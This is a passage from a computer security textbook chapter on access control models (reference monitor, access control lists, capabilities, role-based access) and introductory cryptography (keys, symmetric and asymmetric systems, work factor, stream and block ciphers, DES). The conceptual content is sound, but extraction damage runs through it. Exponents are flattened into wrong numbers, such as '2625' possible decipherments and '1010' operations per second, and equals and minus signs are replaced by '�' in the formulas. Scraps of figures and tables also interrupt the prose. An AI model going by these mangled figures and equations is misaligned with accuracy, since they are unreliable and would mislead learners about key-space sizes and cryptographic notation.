Access control is often performed by the operating system. Only the operating sys- tem can access primitive objects, such as files, to exercise control over them, and the operating system creates and terminates the programs that represent users (subjects). However, current hardware design does not always support the operating system in implementing well-differentiated or fine-grained access control. The operating system does not usually see inside files or data objects, for example, so it cannot perform row- or element-level access control within a database. Also, the operating system cannot easily differentiate among kinds of network traffic. In these cases, the operating system defers to a database manager or a network appliance in implementing some access con- trol aspects. With limited kinds of privileges to allocate, the operating system cannot easily both control a database manager and allow the database manager to control users. Thus, current hardware design limits some operating system designs.

Reference Monitor

James Anderson and his study committee [AND72] gave name and structure to the digital version of a concept that has existed for millennia. To protect their medieval for- tresses, rulers had one heavily protected gate as the sole means of ingress. Generals sur- rounded troop emplacements with forts and sentry guards. Bankers kept cash and other

76 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

valuables in safes with impregnable doors to which only a select few trusted people had the combinations. Fairy tale villains locked damsels away in towers. All these examples show strong access control because of fail-safe designs.

In Anderson’s formulation for computers, access control depends on a combination of hardware and software that is

• always invoked; validates every access attempt

• immune from tampering

• assuredly correct

Anderson called this construct a reference monitor. It should be obvious why these three properties are essential.

A reference monitor is a notion, not a tool you can buy to plug into a port. It could be embedded in an application (to control the application’s objects), part of the operating system (for system-managed objects) or part of an appliance. Still, you will see these same three properties appear repeatedly in this book. To have an effective reference monitor, we need to consider effective and efficient means to translate policies, the basis for validation, into action. How we represent a policy in binary data has implications for how efficient and even how effective the mediation will be.

In the next sections we present several models of how access rights can be main- tained and implemented by the reference monitor.

Access Control Directory

One simple way to protect an object is to use a mechanism that works like a file direc- tory. Imagine we are trying to protect files (the set of objects) from users of a computing system (the set of subjects). Every file has a unique owner who possesses “control” access rights (including the rights to declare who has what access) and to revoke access of any person at any time. Each user has a file directory, which lists all the files to which that user has access.

Clearly, no user can be allowed to write in the file directory, because that would be a way to forge access to a file. Therefore, the operating system must maintain all file directories, under commands from the owners of files. The obvious rights to files are the common read, write, and execute that are familiar on many shared systems. Further- more, another right, owner, is possessed by the owner, permitting that user to grant and revoke access rights. Figure 2-9 shows an example of a file directory.

This approach is easy to implement because it uses one list per user, naming all the objects that a user is allowed to access. However, several difficulties can arise. First, the list becomes too large if many shared objects, such as libraries of subprograms or a common table of users, are accessible to all users. The directory of each user must have one entry for each such shared object, even if the user has no intention of accessing the object. Deletion must be reflected in all directories.

A second difficulty is revocation of access. If owner A has passed to user B the right to read file F, an entry for F is made in the directory for B. This granting of access implies a level of trust between A and B. If A later questions that trust, A may want to revoke the access right of B. The operating system can respond easily to the single

Reference monitor: access control that is always invoked, tamperproof, and verifiable

Section 2.2 Access Control 77

request to delete the right of B to access F, because that action involves deleting one entry from a specific directory. But if A wants to remove the rights of everyone to access F, the operating system must search each individual directory for the entry F, an activity that can be time consuming on a large system. For example, large systems or networks of smaller systems can easily have 5,000 to 10,000 active accounts. More- over, B may have passed the access right for F to another user C, a situation known as propagation of access rights, so A may not know that C’s access exists and should be revoked. This problem is particularly serious in a network.

A third difficulty involves pseudonyms. Owners A and B may have two different files named F, and they may both want to allow access by S. Clearly, the directory for S cannot contain two entries under the same name for different files. Therefore, S has to be able to uniquely identify the F for A (or B). One approach is to include the origi- nal owner’s designation as if it were part of the file name, with a notation such as A:F (or B:F).

Suppose, however, that S would like to use a name other than F to make the file’s contents more apparent. The system could allow S to name F with any name unique to the directory of S. Then, F from A could be called Q to S. As shown in Figure 2-10, S may have forgotten that Q is F from A, and so S requests access again from A for F. But by now A may have more trust in S, so A transfers F with greater rights than before.

FIGURE 2-9 Directory Access Rights



















File NameFile Name Access Rights

Access Rights

File Pointer

File Pointer

User A Directory User B DirectoryFiles

78 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

This action opens up the possibility that one subject, S, may have two distinct sets of access rights to F, one under the name Q and one under the name F. In this way, allowing pseudonyms can lead to multiple permissions that are not necessarily consistent. Thus, the directory approach is probably too simple for most object protection situations.

Access Control Matrix

We can think of the directory as a listing of objects accessible by a single subject, and the access list as a table identifying subjects that can access a single object. The data in these two representations are equivalent, the distinction being the ease of use in given situations.

As an alternative, we can use an access control matrix, shown in Figure 2-11, a table in which each row represents a subject, each column represents an object, and each entry is the set of access rights for that subject to that object.

A more detailed example representation of an access control matrix is shown in Table 2-8. Access rights shown in that table are O, own; R, read; W, write; and X, execute. In general, the access control matrix is sparse (meaning that most cells are empty): Most subjects do not have access rights to most objects. The access matrix can be represented as a list of triples, each having the form �subject, object, rights�, as shown in Table 2-9.

FIGURE 2-10 Ambiguous Access Rights











File Name Access Rights

File Pointer













File Name Access Rights

File Pointer


Conflicting Access!

User A Directory User S DirectoryFiles

User B Directory

Section 2.2 Access Control 79

User W

File A


su b je ct s


Read Write Own



Write Control

Printer System Clock


FIGURE 2-11 Access Control Matrix

TABLE 2-8 Access Control Matrix

Bibliog Temp F Help .txt

C_ Comp Linker Clock Printer


USER B R — — R X X R W


USER T — — R X X X R W



TABLE 2-9 List of Access Control Triples

Subject Object Right

USER A Bibliog ORW

USER B Bibliog R

USER S Bibliog RW





This representation may be more efficient than the access control matrix because there is no triple for any empty cell of the matrix (such as �USER T, Bibliog, ��). Even though the triples can be sorted by subject or object as needed, searching a large number of these triples is inefficient enough that this implementation is seldom used.

80 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Access Control List

An alternative representation is the access control list; as shown in Figure 2-12, this representation corresponds to columns of the access control matrix. There is one such list for each object, and the list shows all subjects who should have access to the object and what their access is. This approach differs from the directory list because there is one access control list per object; a directory is created for each subject. Although this difference seems small, there are some significant advantages to this approach.

The access control list representation can include default rights. Consider subjects A and S, both of whom have access to object F. The operating system will maintain just one access list for F, showing the access rights for A and S, as shown in Figure 2-13. The access control list can include general default entries for any users. In this way, specific users can have explicit rights, and all other users can have a default set of rights. With this organization, all possible users of the system can share a public file or pro- gram without the need for an entry for the object in the individual directory of each user.

The Multics operating system used a form of access control list in which each user belonged to three protection classes: a user, a group, and a compartment. The user desig- nation identified a specific subject, and the group designation brought together subjects who had a common interest, such as their being coworkers on a project. The compart- ment confined an untrusted object; a program executing in one compartment could not access objects in another compartment without specific permission. The compartment was also a way to collect objects that were related, such as all files for a single project.

To see how this type of protection might work, suppose every user who initiates access to the system identifies a group and a compartment with which to work. If Adams logs in as user Adams in group Decl and compartment Art2, only objects having Adams-Decl-Art2 in the access control list are accessible in the session.

By itself, this kind of mechanism would be too restrictive to be usable. Adams can- not create general files to be used in any session. Worse yet, shared objects would not only have to list Adams as a legitimate subject but also have to list Adams under all acceptable groups and all acceptable compartments for each group.

The solution is the use of wild cards, meaning placeholders that designate “any user” (or “any group” or “any compartment”). An access control list might specify access by Adams-Decl-Art1, giving specific rights to Adams if working in group Decl on

User W

File A


Read Write Own


Write Control


Printer System Clock


FIGURE 2-12 Access Control List

Section 2.2 Access Control 81

compartment Art1. The list might also specify Adams-*-Art1, meaning that Adams can access the object from any group in compartment Art1. Likewise, a notation of *-Decl-* would mean “any user in group Decl in any compartment.” Different placements of the wildcard notation * have the obvious interpretations.

Unix uses a similar approach with user–group–world permissions. Every user belongs to a group of related users—students in a common class, workers on a shared project, or members of the same department. The access permissions for each object are a triple (u,g,w) in which u is for the access rights of the user, g is for other members of the group, and w is for all other users in the world.

The access control list can be maintained in sorted order, with * sorted as coming after all specific names. For example, Adams-Decl-* would come after all specific com- partment designations for Adams. The search for access permission continues just until the first match. In the protocol, all explicit designations are checked before wild cards in any position, so a specific access right would take precedence over a wildcard right.





File Access List

Pointer User Access Rights
























Directory Access Lists Files

FIGURE 2-13 Access Control List with Two Subjects

82 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The last entry on an access list could be *-*-*, specifying rights allowable to any user not explicitly on the access list. With this wildcard device, a shared public object can have a very short access list, explicitly naming the few subjects that should have access rights different from the default.

Privilege List

A privilege list, sometimes called a directory, is a row of the access matrix, showing all those privileges or access rights for a given subject (shown in Figure 2-14). One advantage of a privilege list is ease of revocation: If a user is removed from the system, the privilege list shows all objects to which the user has access so that those rights can be removed from the object.


So far, we have examined protection schemes in which the operating system must keep track of all the protection objects and rights. But other approaches put some of the burden on the user. For example, a user may be required to have a ticket or pass that enables access, much like a ticket or identification card that cannot be duplicated.

More formally, we say that a capability is an unforgeable token that gives the pos- sessor certain rights to an object. The Multics [SAL74], CAL [LAM76], and Hydra [WUL74] systems used capabilities for access control. As shown in Figure 2-15, a capa- bility is just one access control triple of a subject, object, and right. In theory, a subject can create new objects and can specify the operations allowed on those objects. For example, users can create objects such as files, data segments, or subprocesses and can also specify the acceptable kinds of operations, such as read, write, and execute. But a user can also create completely new objects, such as new data structures, and can define types of accesses previously unknown to the system.

Think of capability as a ticket giving permission to a subject to have a certain type of access to an object. For the capability to offer solid protection, the ticket must be unforgeable. One way to make it unforgeable is to not give the ticket directly to the user. Instead, the operating sys- tem holds all tickets on behalf of the users. The operating system returns to the user a

FIGURE 2-14 Privilege Control List

User W

File A


Read Write Own


Write Control


Printer System Clock


Capability: Single- or multi-use ticket to access an object or service

Section 2.2 Access Control 83

pointer to an operating system data structure, which also links to the user. A capability can be created only by a specific request from a user to the operating system. Each capability also identifies the allowable accesses.

Alternatively, capabilities can be encrypted under a key available only to the access control mechanism. If the encrypted capability contains the identity of its rightful owner, user A cannot copy the capability and give it to user B.

One possible access right to an object is transfer or propagate. A subject having this right can pass copies of capabilities to other subjects. In turn, each of these capabilities also has a list of permitted types of accesses, one of which might also be transfer. In this instance, process A can pass a copy of a capability to B, who can then pass a copy to C. B can prevent further distribution of the capability (and therefore prevent further dissemination of the access right) by omitting the transfer right from the rights passed in the capability to C. B might still pass certain access rights to C, but not the right to propagate access rights to other subjects.

As a process executes, it operates in a domain or local name space. The domain is the collection of objects to which the process has access. A domain for a user at a given time might include some programs, files, data segments, and I/O devices such as a printer and a terminal. An example of a domain is shown in Figure 2-16.

User W

File A


Read Write Own


Write Control


Printer System Clock


FIGURE 2-15 Capability

FilesCode of MAIN


Stored data objects

FIGURE 2-16 Example of a Domain

84 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

As execution continues, the process may call a subprocedure, passing some of the objects to which it has access as arguments to the subprocedure. The domain of the sub- procedure is not necessarily the same as that of its calling procedure; in fact, a calling procedure may pass only some of its objects to the subprocedure, and the subprocedure may have access rights to other objects not accessible to the calling procedure, as shown in Figure 2-17. The caller may also pass only some of its access rights for the objects it passes to the subprocedure. For example, a procedure might pass to a subprocedure the right to read but not to modify a particular data value.

Because each capability identifies a single object in a domain, the collection of capa- bilities defines the domain. When a process calls a subprocedure and passes certain objects to the subprocedure, the operating system forms a stack of all the capabilities of the current procedure. The operating system then creates new capabilities for the subprocedure.

Operationally, capabilities are a straightforward way to keep track of the access rights of subjects to objects during execution. The capabilities are backed up by a more comprehensive table, such as an access control matrix or an access control list. Each time a process seeks to use a new object, the operating system examines the master list of objects and subjects to determine whether the object is accessible. If so, the operating system creates a capability for that object.

Capabilities must be stored in memory inaccessible to normal users. One way of accomplishing this is to store capabilities in segments not pointed at by the user’s seg- ment table or to enclose them in protected memory as from a pair of base/bounds regis- ters. Another approach is to use a tagged architecture machine to identify capabilities as structures requiring protection.

Domain of MAIN

Stored data objects

Domain of SUB

Code of SUB

Call SUB

Code of MAIN




Stored data objects


FIGURE 2-17 Passing Objects to a Domain

Section 2.2 Access Control 85

During execution, only the capabilities of objects that have been accessed by the cur- rent process are kept readily available. This restriction improves the speed with which access to an object can be checked. This approach is essentially the one used in Multics, as described in [FAB74].

Capabilities can be revoked. When an issuing subject revokes a capability, no further access under the revoked capability should be permitted. A capability table can contain pointers to the active capabilities spawned under it so that the operating system can trace what access rights should be deleted if a capability is revoked. A similar problem is deleting capabilities for users who are no longer active.

These three basic structures, the directory, access control matrix and its subsets, and capability, are the basis of access control systems implemented today. Quite apart from the mechanical implementation of the access control matrix or its substructures, two access models relate more specifically to the objective of access control: relating access to a subject’s role or the context of the access. We present those models next.

Procedure-Oriented Access Control

One goal of access control is restricting not just what subjects have access to an object, but also what they can do to that object. Read versus write access can be controlled rather readily by most applications and operating systems, but more complex control is not so easy to achieve.

By procedure-oriented protection, we imply the existence of a procedure that controls access to objects (for example, by performing its own user authentication to strengthen the basic protection provided by the basic operating system). In essence, the procedure forms a capsule around the object, permitting only certain specified accesses.

Procedures can ensure that accesses to an object be made through a trusted inter- face. For example, neither users nor general operating system routines might be allowed direct access to the table of valid users. Instead, the only accesses allowed might be through three procedures: one to add a user, one to delete a user, and one to check whether a particular name corresponds to a valid user. These procedures, especially add and delete, could use their own checks to make sure that calls to them are legitimate.

Procedure-oriented protection implements the principle of information hiding because the means of implementing an object are known only to the object’s control procedure. Of course, this degree of protection carries a penalty of inefficiency. With procedure-oriented protection, there can be no simple, fast access checking, even if the object is frequently used.

Role-Based Access Control

We have not yet distinguished among kinds of users, but we want some users (such as administrators) to have significant privileges, and we want others (such as regular users or guests) to have lower privileges. In companies and educational institutions, this can

Procedures can perform actions specific to a particular object in implementing access control.

86 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

get complicated when an ordinary user becomes an administrator or a baker moves to the candlestick makers’ group. Role-based access control lets us associate privileges with groups, such as all administrators can do this or candlestick makers are forbidden to do that. Administering security is easier if we can control access by job demands, not by person. Access control keeps up with a person who changes responsibilities, and the system administrator does not have to choose the appropriate access control settings for someone. For more details on the nuances of role- based access control, see [FER03].

In conclusion, our study of access control mechanisms has intentionally progressed from simple to complex. Historically, as the mechanisms have provided greater flexibil- ity, they have done so with a price of increased overhead. For example, implementing capabilities that must be checked on each access is far more difficult than implementing a simple directory structure that is checked only on a subject’s first access to an object. This complexity is apparent to both the user and implementer. The user is aware of additional protection features, but the naïve user may be frustrated or intimidated at having to select protection options with little understanding of their usefulness. The implementation complexity becomes apparent in slow response to users. The balance between simplicity and functionality is a continuing struggle in security.


Next we introduce the third of our basic security tools, cryptography. In this chapter we present only the rudiments of the topic, just enough so you can see how it can be used and what it can achieve. We leave the internals for Chapter 12 at the end of this book. We do that because most computer security practitioners would be hard-pressed to explain or implement good cryptography from scratch, which makes our point that you do not need to understand the internals of cryptography just to use it successfully. As you read this chapter you may well ask why something is done in a particular way or how something really works. We invite you to jump to Chapter 12 for the details. But this chapter focuses on the tool and its uses, leaving the internal workings for the future.

Encryption or cryptography—the name means secret writing—is probably the stron- gest defense in the arsenal of computer security protection. Well-disguised data cannot easily be read, modified, or fabricated. Simply put, encryption is like a machine: you put data in one end, gears spin and lights flash, and you receive modified data out the other end. In fact, some encryption devices used during World War II operated with actual gears and rotors, and these devices were effective at deterring (although not always preventing) the opposite side from reading the protected messages. Now the machin- ery has been replaced by computer algorithms, but the principle is the same: A transformation makes data difficult for an outsider to interpret.

We begin by examining what encryption does and how it works. We introduce the basic principles of encryption algo- rithms, introducing two types of encryption with distinct uses. Because weak or flawed

Cryptography conceals data against unauthorized access.

Access control by role recognizes common needs of all members of a set of subjects.

Section 2.3 Cryptography 87

encryption creates only the illusion of protection, we also look at how encryption can fail. We briefly describe techniques used to break through the protective cover to void security. Building on these basic types of encryption, we show how to combine them to securely address several general problems of computing and communicating.

Problems Addressed by Encryption

Sometimes we describe encryption in the context of sending secret messages. This framing is just for ease of description: The same concepts apply to protecting a file of data or sensitive information in memory. So when we talk about sending a message, you should also think of protecting any digital object for access only by authorized people.

Consider the steps involved in sending messages from a sender, S, to a recipient, R. If S entrusts the message to T, who then delivers it to R, T then becomes the trans- mission medium. If an outsider, O, wants to access the message (to read, change, or even destroy it), we call O an interceptor or intruder. Any time after S transmits the message via T, it is vulnerable to exploitation, and O might try to access it in any of the following ways:

• block it, by preventing its reaching R, thereby affecting the availability of the message

• intercept it, by reading or listening to the message, thereby affecting the confi- dentiality of the message

• modify it, by seizing the message and changing it in some way, affecting the message’s integrity

• fabricate an authentic-looking message, arranging for it to be delivered as if it came from S, thereby also affecting the integrity of the message

As you can see, a message’s vulnerabilities reflect the four possible security failures we identified in Chapter l. Fortunately, encryption is a technique that can address all these problems. Encryption is a means of maintaining secure data in an insecure envi- ronment. In this book, we study encryption as a security technique, and we see how it is used in protecting programs, databases, networks, and electronic communications.


Encryption is the process of encoding a message so that its meaning is not obvious; decryption is the reverse process, transforming an encrypted message back into its nor- mal, original form. Alternatively, the terms encode and decode or encipher and decipher are used instead of encrypt and decrypt.2 That is, we say we encode, encrypt, or encipher the original message to hide its meaning. Then, we decode, decrypt, or decipher it to reveal the original message. A system for encryption and decryption is called a cryptosystem.

2. There are slight differences in the meanings of these three pairs of words, although they are not significant in the context of this discussion. Strictly speaking, encoding is the process of translating entire words or phrases to other words or phrases, whereas enciphering is translating letters or symbols individually; encryption is the group term that covers both encoding and enciphering.

88 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The original form of a message is known as plaintext, and the encrypted form is called ciphertext. This relationship is shown in Figure 2-18. Think of encryption as a form of opaque paint that obscures or obliterates the plaintext, prevent- ing it from being seen or interpreted accurately. Then, decryption is the process of peeling away the paint to reveal the original plaintext again.

We use a formal notation to describe the transformations between plaintext and ciphertext. For example, we write C � E(P) and P � D(C), where C represents the ciphertext, E is the encryption rule, P is the plaintext, and D is the decryption rule. What we seek is a cryptosystem for which P � D(E(P)). In other words, we want to be able to convert the plaintext message to ciphertext to protect it from an intruder, but we also want to be able to get the original message back so that the receiver can read it properly.

Encryption Keys

A cryptosystem involves a set of rules for how to encrypt the plaintext and decrypt the ciphertext. The encryption and decryption rules, called algorithms, often use a device called a key, denoted by K, so that the resulting ciphertext depends on the origi- nal plaintext message, the algorithm, and the key value. We write this dependence as C � E(K, P). Essentially, E is a set of encryption algorithms, and the key K selects one specific algorithm from the set.

This process is similar to using mass-produced locks in houses. As a homeowner, you would pay dearly to contract with someone to invent and make a lock just for your house. In addition, you would not know whether a particular inventor’s lock was really solid or how it compared with those of other inventors. A better solution is to have a few well-known, well-respected companies producing standard locks that differ according to the (physical) key. Then, you and your neighbor might have the same brand and style of lock, but your key will open only your lock. In the same way, it is useful to have a few well-examined encryption algorithms for everyone to use, but differing keys would prevent someone from breaking into data you are trying to protect.

Sometimes the encryption and decryption keys are the same, so P � D(K,E(K,P)), meaning that the same key, K, is used both to encrypt a message and later to decrypt it. This form is called symmetric or single-key or secret key encryption because D and E

Ciphertext: encrypted material; plaintext: material in intelligible form

Key (Optional)

Original Plaintext

Plaintext Ciphertext

Key (Optional)

Encryption Decryption

FIGURE 2-18 Plaintext and Ciphertext

Section 2.3 Cryptography 89

are mirror-image processes. As a trivial example, the encryption algorithm might be to shift each plaintext letter forward n positions in the alphabet. For n � 1, A is changed to b, B to c, . . . P to q, . . . and Z to a, so we say the key value is n, moving n positions for- ward for encryption and backward for decryption. (You might notice that we have writ- ten the plaintext in uppercase letters and the corresponding ciphertext in lowercase; cryptographers some- times use that convention to help them distinguish the two.)

At other times, encryption and decryption keys come in pairs. Then, a decryption key, KD, inverts the encryption of key KE, so that P � D(KD, E(KE,P)). Encryption algorithms of this form are called asymmetric or public key because converting C back to P involves a series of steps and a key that are different from the steps and key of E. The difference between symmetric and asymmetric encryption is shown in Figure 2-19.

A key gives us flexibility in using an encryption scheme. We can create different encryptions of one plaintext message just by changing the key. Moreover, using a key provides additional security. If the encryption algorithm should fall into the intercep- tor’s hands, future messages can still be kept secret because the interceptor will not know the key value. Sidebar 2-14 describes how the British dealt with written keys and codes in World War II. An encryption scheme that does not require the use of a key is called a keyless cipher.

Symmetric encryption: one key encrypts and decrypts.

Asymmetric encryption: one key encrypts, a different key decrypts.

Encryption Decryption Original Plaintext

Plaintext Ciphertext

(a) Symmetric Cryptosystem

Decryption Key

Encryption Decryption Original Plaintext

Plaintext Ciphertext

Encryption Key

(b) Asymmetric Cryptosystem


FIGURE 2-19 Symmetric and Asymmetric Encryption

90 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

The history of encryption is fascinating; it is well documented in David Kahn’s book [KAH96]. Claude Shannon is considered the father of modern cryptography because he laid out a formal, mathematical foundation for information security and expounded on several principles for secure cryptography at the naissance of digital computing [SHA49]. Encryption has been used for centuries to protect diplomatic and military communications, sometimes without full success. The word cryptography refers to the practice of using encryption to conceal text. A cryptanalyst studies encryption and encrypted messages, hoping to find the hidden meanings. A cryptanalyst might also work defensively, probing codes and ciphers to see if they are solid enough to protect data adequately.

Both a cryptographer and a cryptanalyst attempt to translate coded material back to its original form. Normally, a cryptographer works on behalf of a legitimate sender or receiver, whereas a cryptanalyst works on behalf of an unauthorized interceptor. Finally, cryptology is the research into and study of encryption and decryption; it includes both cryptography and cryptanalysis.


A cryptanalyst’s chore is to break an encryption. That is, the cryptanalyst attempts to deduce the original meaning of a ciphertext message. Better yet, the cryptanalyst hopes to determine which decrypting algorithm, and ideally which key, matches the encrypt- ing algorithm to be able to break other messages encoded in the same way.

For instance, suppose two countries are at war and the first country has intercepted encrypted messages of the second. Cryptanalysts of the first country want to decipher a particular message so as to anticipate the movements and resources of the second. But even better is to discover the actual decryption method; then the first country can pen- etrate the encryption of all messages sent by the second country.

An analyst works with a variety of information: encrypted messages, known encryption algorithms, intercepted plaintext, data items known or suspected to be in a

SIDEBAR 2-14 Silken Codes

Leo Marks [MAR98] describes his life as a code-maker in Britain during World War II. That is, the British hired Marks and others to devise codes that could be used by spies and soldiers in the field. In the early days, the encryption scheme depended on poems that were written for each spy, and it relied on the spy’s ability to memorize and recall the poems correctly.

Marks reduced the risk of error by introducing a coding scheme that was printed on pieces of silk. Silk hidden under clothing could not be felt when the spy was patted down and searched. And, unlike paper, silk burns quickly and completely, so the spy could destroy incriminating evidence, also ensuring that the enemy could not get even fragments of the valuable code. When pressed by superiors as to why the British should use scarce silk (which was also needed for war-time necessities like parachutes) for codes, Marks said that it was a choice “between silk and cyanide.”

Section 2.3 Cryptography 91

ciphertext message, mathematical or statistical tools and techniques, and properties of languages, as well as plenty of ingenuity and luck. Each piece of evidence can provide a clue, and the analyst puts the clues together to try to form a larger picture of a message’s meaning in the context of how the encryption is done. Remember that there are no rules. An interceptor can use any means available to tease out the meaning of the message.

Work Factor

An encryption algorithm is called breakable when, given enough time and data, an analyst can determine the algorithm. However, an algorithm that is theoretically break- able may in fact be impractical to try to break. To see why, consider a 25-character message that is expressed in just uppercase letters. A given cipher scheme may have 2625 (approximately 1035) possible decipherments, so the task is to select the right one out of the 2625. If your computer could perform on the order of 1010 operations per sec- ond, finding this decipherment would require on the order of 1025 seconds, or roughly 1017 years. In this case, although we know that theoretically we could generate the solution, determining the deciphering algorithm by examining all possibilities can be ignored as infeasible with current technology.

The difficulty of breaking an encryption is called its work factor. Again, an anal- ogy to physical locks may prove helpful. As you know, physical keys have notches or other irregularities, and the notches cause pins to move inside a lock, allowing the lock to open. Some simple locks, such as those sold with suitcases, have only one notch, so these locks can often be opened with just a piece of bent wire; worse yet, some manu- facturers produce only a few (and sometimes just one!) distinct internal pin designs; you might be able to open any such lock with a ring of just a few keys. Clearly these locks are cosmetic only.

Common house locks have five or six notches, and each notch can have any of ten depths. To open such a lock requires finding the right combination of notch depths, of which there may be up to a million possibilities, so carrying a ring of that many keys is infeasible. Even though in theory someone could open one of these locks by trying all possible keys, in practice the number of possibilities is prohibitive. We say that the work factor to open one of these locks without the appropriate key is large enough to deter most attacks. So too with cryptog- raphy: An encryption is adequate if the work to decrypt without know- ing the encryption key is greater than the value of the encrypted data.

Two other important issues must be addressed when considering the breakability of encryption algorithms. First, the cryptanalyst cannot be expected to try only the hard, long way. In the example just presented, the obvious decryption might require 2625 machine operations, but a more ingenious approach might require only 1015 operations. At the speed of 1010 operations per second, 1015 operations take slightly more than one day. The ingenious approach is certainly feasible. In fact, newspapers sometimes print cryptogram puzzles that humans solve with pen and paper alone, so there is clearly a shortcut to our computer machine time estimate of years or even one day of effort. The newspaper games give hints about

Work factor: amount of effort needed to break an encryption (or mount a successful attack)

92 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

word lengths and repeated characters, so humans are solving an easier problem. As we said, however, cryptanalysts also use every piece of information at their disposal.

Some of the algorithms we study in this book are based on known “hard” problems that take an unreasonably long time to solve. But the cryptanalyst does not necessar- ily have to solve the underlying problem to break the encryption of a single message. Sloppy use of controls can reveal likely words or phrases, and an analyst can use edu- cated guesses combined with careful analysis to generate all or much of an important message. Or the cryptanalyst might employ a spy to obtain the plaintext entirely outside the system; analysts might then use the pair of plaintext and correspond- ing ciphertext to infer the algorithm or key used to apply to subsequent messages.

Second, estimates of breakability are based on current technology. An enormous advance in computing technology has occurred since 1950. Things that were infeasible in 1940 became possible by the 1950s, and every succeeding decade has brought greater improvements. A conjecture known as “Moore’s Law” asserts that the speed of proces- sors doubles every 1.5 years, and this conjecture has been true for over three decades. We dare not pronounce an algorithm secure just because it cannot be broken with cur- rent technology, or worse, that it has not been broken yet.

In this book we write that something is impossible; for example, it is impossible to obtain plaintext from ciphertext without the corresponding key and algorithm. Please understand that in cryptography few things are truly impossible: infeasible or prohibi- tively difficult, perhaps, but impossible, no.

Symmetric and Asymmetric Encryption Systems

Recall that the two basic kinds of encryptions are symmetric (also called “secret key”) and asymmetric (also called “public key”). Symmetric algorithms use one key, which works for both encryption and decryption. Usually, the decryption algorithm is closely related to the encryption one, essentially running the encryption in reverse.

The symmetric systems provide a two-way channel to their users: A and B share a secret key, and they can both encrypt information to send to the other as well as decrypt information from the other. As long as the key remains secret, the system also provides authenticity, proof that a message received was not fabricated by someone other than the declared sender.3 Authenticity is ensured because only the legitimate sender can produce a message that will decrypt properly with the shared key.

Symmetry is a major advantage of this type of encryption, but it also leads to a prob- lem: How do two users A and B obtain their shared secret key? And only A and B can use that key for their encrypted communications. If A wants to share encrypted com- munication with another user C, A and C need a different shared secret key. Managing

In cryptanalysis there are no rules: Any action is fair play.

3. This being a security book, we point out that the proof is actually that the message was sent by someone who had or could simulate the effect of the sender’s key. With many security threats there is a small, but non-zero, risk that the message is not actually from the sender but is a complex forgery.

Section 2.3 Cryptography 93

keys is the major difficulty in using symmetric encryption. In general, n users who want to communicate in pairs need n * (n � 1)/2 keys. In other words, the number of keys needed increases at a rate proportional to the square of the number of users! So a prop- erty of symmetric encryption systems is that they require a means of key distribution.

Asymmetric or public key systems, on the other hand, typically have precisely matched pairs of keys. The keys are produced together or one is derived mathematically from the other. Thus, a process computes both keys as a set.

But for both kinds of encryption, a key must be kept well secured. Once the sym- metric or private key is known by an outsider, all messages written previously or in the future can be decrypted (and hence read or modified) by the outsider. So, for all encryp- tion algorithms, key management is a major issue. It involves storing, safeguarding, and activating keys.

Asymmetric systems excel at key management. By the nature of the public key approach, you can send a public key in an email message or post it in a public directory. Only the corresponding private key, which presumably is not disclosed, can decrypt what has been encrypted with the public key.

Stream and Block Ciphers

One final characterization of encryption algorithms relates to the nature of the data to be concealed. Suppose you are streaming video, perhaps a movie, from a satellite. The stream may come in bursts, depending on such things as the load on the satellite and the speed at which the sender and receiver can operate. For such application you may use what is called stream encryption, in which each bit, or perhaps each byte, of the data stream is encrypted separately. A model of stream enciphering is shown in Figure 2-20. Notice that the input symbols are transformed one at a time. The advantage of a stream cipher is that it can be applied immediately to whatever data items are ready to transmit. But most encryption algorithms involve complex transformations; to do these transfor- mations on one or a few bits at a time is expensive.

To address this problem and make it harder for a cryptanalyst to break the code, we can use block ciphers. A block cipher encrypts a group of plaintext symbols as a single block. A block cipher algorithm performs its work on a quantity of plaintext data all at once. Like a machine that cuts out 24 cookies at a time, these algorithms capitalize on


Key (Optional)

Plaintext Ciphertext

…ISSOPMI wdhuw…

FIGURE 2-20 Stream Enciphering

94 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography


Key (Optional)

Plaintext Ciphertext


po ba qc kd em ..


FIGURE 2-21 Block Cipher

economies of scale by operating on large amounts of data at once. Blocks for such algo- rithms are typically 64, 128, 256 bits or more. The block size need not have any par- ticular relationship to the size of a character. Block ciphers work on blocks of plaintext and produce blocks of ciphertext, as shown in Figure 2-21. In the figure, the central box represents an encryp- tion machine: The previous plaintext pair is converted to po, the current one being converted is IH, and the machine is soon to convert ES.

Table 2-10 lists the advantages and disadvantages of stream and block encryption algorithms.

With this description of the characteristics of different encryption algorithms we can now turn to some widely used encryption algorithms. We present how each works, a bit of the historical context and motivation for each, and some strengths and weaknesses. We identify these algorithms by name because these names appear in the popular litera- ture. We also introduce other symmetric algorithms in Chapter 12. Of course you should recognize that these are just examples of popular algorithms; over time these algorithms may be superseded by others. To a large degree cryptography has become plug-and- play, meaning that in an application developers can substitute one algorithm for another of the same type and similar characteristics. In that way advancements in the field of cryptography do not require that all applications using cryptography be rewritten.

Stream ciphers encrypt one bit or one byte at a time; block ciphers encrypt a fixed number of bits as a single chunk.

Section 2.3 Cryptography 95

DES: The Data Encryption Standard

The Data Encryption Standard (DES) [NBS77], a system developed for the U.S. gov- ernment, was intended for use by the general public. Standards organizations have offi- cially accepted it as a cryptographic standard both in the United States and abroad. Moreover, many hardware and software systems have been designed with DES. For many years it was the algorithm of choice for protecting financial, personal, and corpo- rate data; however, researchers increasingly questioned its adequacy as it aged.

Overview of the DES Algorithm

The DES algorithm [NBS77] was developed in the 1970s by IBM for the U.S. National Institute of Standards and Technology (NIST), then called the National Bureau of Stan- dards (NBS). DES is a careful and complex combination of two fundamental building blocks of encryption: substitution and transposition. The algorithm derives its strength from repeated application of these two techniques, one on top of the other, for a total of 16 cycles. The sheer complexity of tracing a single bit through 16 iterations of substitu- tions and transpositions has so far stopped researchers in the public from identifying more than a handful of general properties of the algorithm.

TABLE 2-10 Stream and Block Encryption Algorithms

Stream Block

Advantages • Speed of transformation. Because each symbol is encrypted without regard for any other plaintext symbols, each symbol can be encrypted as soon as it is read. Thus, the time to encrypt a symbol depends only on the encryption algorithm itself, not on the time it takes to receive more plaintext.

• Low error propagation. Because each symbol is separately encoded, an error in the encryption process affects only that character.
